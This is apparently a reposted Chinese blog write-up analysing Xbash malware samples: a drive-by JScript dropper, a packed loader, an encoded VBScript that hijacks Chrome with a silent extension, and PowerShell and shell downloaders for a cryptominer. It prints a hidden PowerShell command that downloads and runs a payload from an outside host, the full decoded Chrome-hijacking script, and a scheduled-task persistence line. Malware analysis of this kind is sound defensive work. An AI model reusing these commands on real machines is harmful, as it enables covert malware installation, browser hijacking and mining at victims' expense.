溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶(hù)服務(wù)條款》

Xbash部分樣本分析

發(fā)布時(shí)間:2020-06-12 18:49:09 來(lái)源:網(wǎng)絡(luò) 閱讀:659 作者:長(zhǎng)路慢 欄目:安全技術(shù)

?病毒樣本下載來(lái)源于i春秋一位cq5f7a075d作者的主題帖《XBash系列病毒樣本分析報(bào)告》,是一個(gè)Iron Group組織使用的XBash惡意軟件,樣本鏈接:https://bbs.ichunqiu.com/thread-47475-1-1.html ,推薦幾個(gè)比較活躍的樣本下載區(qū),如卡飯、i春秋、吾愛(ài)、VirusShare等都比較活躍。
?
?故事還是要從掛馬網(wǎng)站開(kāi)始,也就是網(wǎng)頁(yè)下載惡意代碼開(kāi)始分析,如下所示:
Xbash部分樣本分析
????????????????????圖片一:JScript腳本
變量ebc9拖入010中轉(zhuǎn)換成字符串如下所示:
Xbash部分樣本分析
????????????????????圖片二:數(shù)組還原
還原Js代碼如下所示,圖片中給出了還原的代碼(已標(biāo)紅):
Xbash部分樣本分析
????????????????????圖片三:代碼復(fù)原
?如上述代碼,做了以下幾件事情:
??1、使用了ActiveX控件,注意這個(gè)只有IE才支持,因?yàn)槭俏④浀摹?br/>??2、獲取了temp的臨時(shí)路徑,拼接了IE瀏覽器進(jìn)程名(偽裝)。
??3、判斷是否臨時(shí)文件是否存在,如果不存在則執(zhí)powershell指令,指令如下:
powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://daknobcq4zal6vbm.tk/tg.jpg',$env:TEMP+'/explorer.exe');意思就是遠(yuǎn)程下載腳本繞過(guò)執(zhí)行策略并隱藏執(zhí)行窗口,powershell指令執(zhí)行一般不會(huì)殺毒軟件被攔截,這樣就達(dá)成了目的,下載惡意代碼并且偽裝成explorer.exe。
??4、執(zhí)行下載的惡意代碼。

?
?關(guān)于掛馬網(wǎng)站分析完畢,下面就是分析下載下來(lái)的惡意代碼,如下所示:
Xbash部分樣本分析
????????????????????圖片四:脫殼
如上所示,樣本加了一個(gè)UPX殼,脫掉修復(fù)IAT后樣本就被還原了,拉入IDA后如下所示:
Xbash部分樣本分析
????????????????????圖片五:主函數(shù)
sub_405920分析如下,先獲取了window shell特殊文件夾的標(biāo)識(shí)值,如下所示:
Xbash部分樣本分析
????????????????????圖片六:SHGetSpecialFoladerPathA
繼續(xù)分析,然后初始化了一段字符串,且求出了字符串大小,流程圖如下:
Xbash部分樣本分析
????????????????????圖片七:字符串
?其實(shí)一開(kāi)始靜態(tài)觀(guān)察猜錯(cuò)了初始化的字符串順序....,然后動(dòng)態(tài)調(diào)試為了驗(yàn)證數(shù)據(jù)的精準(zhǔn),下面繼續(xù)調(diào)用了函數(shù)流程如下,根據(jù)字符串初始化進(jìn)行了獲取名稱(chēng),鎖機(jī)制設(shè)置,如下所示:
Xbash部分樣本分析
????????????????????圖片八:執(zhí)行流程
根據(jù)字符串運(yùn)算獲取了名稱(chēng),拼接路徑如下:
Xbash部分樣本分析
????????????????????圖片九:C:\Program Files\TempBMBD19XS
這里還不算真正開(kāi)是,只是做了個(gè)預(yù)熱,下面樣本開(kāi)始認(rèn)真了,如下所示:
Xbash部分樣本分析
????????????????????圖片十:靜態(tài)分析
?如上圖所示,獲取了運(yùn)行路徑,拼接了chrome.crx,當(dāng)有路徑出現(xiàn)的時(shí)候就會(huì)有操作,如下所示:
Xbash部分樣本分析
????????????????????圖片十一:chrome.crx
?繼續(xù)分析函數(shù)sub_408360,選擇了動(dòng)態(tài)調(diào)試字符串,因?yàn)樽址用芰耍詣?dòng)態(tài)調(diào)試分析起來(lái)相對(duì)輕松一些,內(nèi)部代碼如下所示:
Xbash部分樣本分析
????????????????????圖片十二:sub_408360
?分析函數(shù)sub_40D0B0的時(shí)候,匯編分析時(shí)候根據(jù)循環(huán)規(guī)律猜出部分代碼(可惜猜錯(cuò)了)。在OD中字符串解密看一下,看到CreateToolhelp32Snapshot函數(shù)時(shí)候,就明白這是要?jiǎng)?chuàng)建進(jìn)程快照,也明白了整個(gè)函數(shù)的意義,如下所示:
Xbash部分樣本分析
????????????????????圖片十三:sub_40D0B0.CreateToolhelp32Snapshot
遍歷進(jìn)程,殺掉chrome進(jìn)程,如下所示:
Xbash部分樣本分析
????????????????????圖片十四:Kill chrome.exe
?如上圖所示,經(jīng)過(guò)這一層關(guān)系,根據(jù)當(dāng)前分析的情況,chrome.exe(chrome.crx)樣本肯定準(zhǔn)備這樣偽裝,繼續(xù)線(xiàn)性分析,如圖十二所示:
?1、打開(kāi)注冊(cè)表SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe,請(qǐng)求Path。
?2、如果成功拼接路徑C:\Programiles\Google\Chrome\Application\chrome.exe


接下來(lái),在路徑下創(chuàng)建文件寫(xiě)入數(shù)據(jù)了,如下所示:
Xbash部分樣本分析
????????????????????圖片十五:_mkdir and write
解壓了數(shù)據(jù),收尾工作,利用schtasks計(jì)劃啟動(dòng)釋放的程序,如下所示:
Xbash部分樣本分析
Xbash部分樣本分析
????????????????????圖片十六:WinExec
?sub_408360光榮的完成他的使命,查殺chrome.exe進(jìn)程,且創(chuàng)建釋放惡意代碼,調(diào)用WinExec執(zhí)行釋放的文件。
?
?做了這些事情之后還沒(méi)有結(jié)束,到了分水嶺,有意思的是判斷了運(yùn)行樣本的命令行參數(shù) ,分析如下:
Xbash部分樣本分析
Xbash部分樣本分析
Xbash部分樣本分析
????????????????????圖片十七:分水嶺
不相等則跳轉(zhuǎn),如果相等最終會(huì)則執(zhí)行流程如下圖所示:
Xbash部分樣本分析
????????????????????圖片十八:成功
該文章重點(diǎn)分析不跳轉(zhuǎn)情況(真機(jī)環(huán)境下沒(méi)有跳轉(zhuǎn)),如下所示:
Xbash部分樣本分析
????????????????????圖片十九:創(chuàng)建且寫(xiě)入惡意代碼
?如果上面解壓chrome.crx那段匯編熟悉的話(huà),你會(huì)發(fā)現(xiàn)套路是相同:
??1、獲取文件名稱(chēng),拼接文件路徑。
??2、創(chuàng)建及寫(xiě)入惡意代碼過(guò)程。
??3、那么就該執(zhí)行惡意代碼了唄。

我們對(duì)比一下寫(xiě)入的數(shù)據(jù)是或否相同,從而驗(yàn)證是否函數(shù)功能的正確性,如下所示:
Xbash部分樣本分析
????????????????????圖片二十:寫(xiě)入惡意數(shù)據(jù)
請(qǐng)求rundll32.exe執(zhí)行DllUnInstall,然后創(chuàng)建惡意代碼流程如下所示:
Xbash部分樣本分析
Xbash部分樣本分析
????????????????????圖片二十一:執(zhí)行惡意dll
?然后調(diào)用了ExitProcess結(jié)束了自己的一生,這個(gè)被掛馬網(wǎng)站下載下來(lái)的病毒干了兩件事:
??1、運(yùn)行了sec.vbe
??2、運(yùn)行了xxx.dat(名字是隨機(jī)dll文件)

?
?所以目標(biāo)也很明確,被運(yùn)行的兩個(gè)程序,依次分析,運(yùn)行時(shí)的順序有時(shí)候也是刻意安排的,接下來(lái)分析sec.vbe:
看后綴都明白,這是一個(gè)VB語(yǔ)言寫(xiě)的病毒,先打開(kāi)看一看,長(zhǎng)什么樣,如下圖所示:
Xbash部分樣本分析
????????????????????圖片二十二:加密sec.vb
?根據(jù)風(fēng)格應(yīng)該是微軟的ScriptEncode編碼算法來(lái)加密的,所以先嘗試一下,不對(duì)在換就行了,解密后代碼如下:

vb中注釋是單引號(hào) ' 
On Error ReSume Next:                               ' 這一句vb代碼是異常處理,錯(cuò)誤時(shí)會(huì)繼續(xù)運(yùn)行,不中斷
strComputer = ".":
Set OBjWMISeRvice = GETobject("winmgmts:\\"&StrComPuter&"\root\CIMV2"):                             
' set是用于給對(duì)象變量賦值  返回ActiveX對(duì)象
Set CoLiTems = ObjWmISErvice.ExeCquery("SELECT * FROM Win32_Process where name='chrome.exe' ",,48): 'ExeCquery是指關(guān)閉指定用戶(hù)進(jìn)程
SeT objShell = CreateObjeCt("WScript.Shell"):       ' 創(chuàng)建WScript。sehll對(duì)象
starT = False:

' 遍歷且與關(guān)鍵字對(duì)比
FOr Each ObjITem in colItEms:
    iF INstr(objitem.CommandLiNe,"silent-launch") > 1  ' vb中變量不區(qū)分大小寫(xiě) 字符串區(qū)分
    thEn start = true:
    end if:
    NEXt:

' 關(guān)閉進(jìn)程
function Killproc(strProcname):
    On ErroR REsume Next:
    Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2"):
    Set arRProcesses = objWmIServiCe.ExEcQuery("select * from win32_process where Name ='"&strprocname&"'"):
    for Each Proccess In aRrpRocessEs: 
    proccess.Terminate 0:       ' terminate是指事件的終止
    Next:
ENd FuncTiOn:

If nOT start 
    then KillprOc("chrome.exe"):    ' 殺死進(jìn)程
    Dim Instpath:                   ' 根據(jù)變量類(lèi)型為變量分配內(nèi)存空間 
    INstpaTh = objShell.Regread("HKLM\Software\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe\Path"):  ' 讀取注冊(cè)表
    appdataLocAtIon = objShell.ExpandENvironmenTStriNgs("%LOCALAPPDATA%"):      ' 獲取路徑 C:\Users\xxx\AppData\Local
    chrome_locatIon = AppDataLoCaTion+"\chrome":                                ' 拼接路徑 C:\Users\xxx\AppData\Local\chrome
    objShell.eXec(InsTPaTh+"\chrome.exe --load-extension="+chrome_locatIon+" --silent-launch --enable-automation"):
    ' --load-extension  每次重啟chrome的快捷方式會(huì)被替換C:\Users\xxx\AppData\Local\chrome
    ' --silent-launch   表示不開(kāi)啟chrome,靜默安裝
    ' --enable-automation 開(kāi)啟自動(dòng)化
End if

如何解密呢,在線(xiàn)解密https://www.jb51.net/tools/onlinetools/jiemi/jsendecode.htm
上面vb腳本分析,對(duì)于關(guān)鍵的數(shù)據(jù)出寫(xiě)出詳細(xì)的注釋?zhuān)@里不一一羅嗦,sec.vbe關(guān)閉chrome,然后替換了了Chrome的快捷方式。

?至于.dat是一個(gè)dll文件,PEID查看后發(fā)現(xiàn)加油vmp虛擬殼,對(duì)于這個(gè)殼,帶殼調(diào)試的話(huà),過(guò)虛擬、過(guò)反調(diào)試可以動(dòng)態(tài)調(diào)試.....這里有興趣的朋友自行分析,能力有限不能很好的分析該病毒的出步驟,所以這一個(gè)比較關(guān)鍵的環(huán)節(jié)略過(guò)......
通過(guò)dll執(zhí)行(也就是上述省略分析的.dll文件),做了那些事情呢?
??1、在windows下釋放了一段可執(zhí)行的惡意代碼,包含了powershell指令(用于下載挖礦)
??2、Linux下釋放了.sh的腳本(用于進(jìn)程查殺及下載挖礦)
其實(shí)就是釋放了兩個(gè)下載器,我們分析一下釋放的下載器。

?
Windows下Powershell如下所示:
前置知識(shí):
? 1、-EncodedCommand 接受 base-64 編碼字符串版本的命令。使用此參數(shù)向 Windows PowerShell 提交需要復(fù)雜引號(hào)或大括號(hào)的命令。 代碼中-E
? 2、-WindowStyle將窗口樣式設(shè)置為 Normal、Minimized、Maximized 或 Hidden。 代碼中-W
? 3、-noprofile 簡(jiǎn)寫(xiě) -NoP, 為不加載 windows poweshell 配置文件
? 4、-NonInteractive不向用戶(hù)顯示交互式提示。
、
?
?打開(kāi).ps1腳本,發(fā)現(xiàn)被加密,如下所示:
Xbash部分樣本分析
????????????????????圖片二十三:加密的Powershell指令
?根據(jù)-E的參數(shù),我們可以先推測(cè)使用了Base64進(jìn)行了整體加密,下面在線(xiàn)Base64解密之后,如下圖片所示:
Xbash部分樣本分析
????????????????????圖片二十四:Base64解密
?第一次Base64解密后,雖然還有大量的字符不識(shí)別,但是露出了關(guān)鍵一些數(shù)據(jù),如iex,這就為后續(xù)的解密提供了思路,腳本中有IEX關(guān)鍵字了,我們?nèi)サ羟抑囟ㄏ虻叫碌梦募?,嘗試解密,解密后數(shù)據(jù)如下圖所示:如下所示:
Xbash部分樣本分析
????????????????????圖片二十五:Base64解密
分析Function DllMiner函數(shù),如下所示:
Xbash部分樣本分析
????????????????????圖片二十六:Function DllMiner?????
?函數(shù)內(nèi)容將數(shù)據(jù)下載并截獲正確得惡意代碼寫(xiě)入到文件,命名為tmp.jpg,執(zhí)行下載得文件,然后把DllMiner函數(shù)寫(xiě)入到額tmp.ps1,如下所示:
Xbash部分樣本分析
????????????????????圖片二十七:tmp.ps1
調(diào)用了SchTasks.exe執(zhí)行計(jì)劃任務(wù),如下所示:

SchTasks.exe /Create /SC MINUTE /TN "Update " /TR "PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noexit -File $env:TMP\tmp.ps1" /MO 6 /

參數(shù)介紹:
    1、/Create       創(chuàng)建新計(jì)劃任務(wù)。
    2、/TN   taskname   指定唯一識(shí)別這個(gè)計(jì)劃任務(wù)的名稱(chēng)
    3、/ST   starttime    指定運(yùn)行任務(wù)的開(kāi)始時(shí)間  /SC MINUTE (一分鐘)
    4、/TR   taskrun    指定在這個(gè)計(jì)劃時(shí)間運(yùn)行的程序的路徑
    5、/MO   modifier    改進(jìn)計(jì)劃類(lèi)型以允許更好地控制計(jì)劃重復(fù)

總結(jié):一分鐘運(yùn)行一次tmp.ps1,也就是Function DllMiner函數(shù)

下載得其實(shí)是挖礦程序,對(duì)于挖礦程序得分析不到位,有興趣得可以分析一下。
?
補(bǔ)充:
?1、電腦不能運(yùn)行powershell腳本?報(bào)錯(cuò)讓參考策略修改,修改配置如下圖所示:
Xbash部分樣本分析
????????????????????圖片二十八:powershell策略配置
?2、Powershell關(guān)于IEX混淆解密相關(guān)介紹:https://www.codercto.com/a/24286.html
??
Linux下.sh如下所示:
看看Linux下.sh腳本是如何運(yùn)行的,如下所示:
Xbash部分樣本分析
????????????????????圖片二十九
一個(gè)死循環(huán),兩個(gè)函數(shù),就是整個(gè)腳本的內(nèi)容,kills函數(shù)如下所示:
Xbash部分樣本分析
????????????????????圖片三十
各種kill與pkill,終止其他程序的挖礦進(jìn)程。然后開(kāi)始執(zhí)行downloadyam函數(shù),如下所示:
Xbash部分樣本分析
????????????????????圖片二十一
上述標(biāo)紅是注釋?zhuān)@便是腳本執(zhí)行的過(guò)程,xx.sh總共下載了五個(gè)文件:
??config.json,bashf,pools.txt,bashg,XbashY
?到此兩個(gè)下載器分析完畢,至于挖礦程序的分析,還是不獻(xiàn)丑了........以后有時(shí)間學(xué)習(xí)研究后,再來(lái)補(bǔ)上未分析的部分。
?
未完待續(xù)!

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI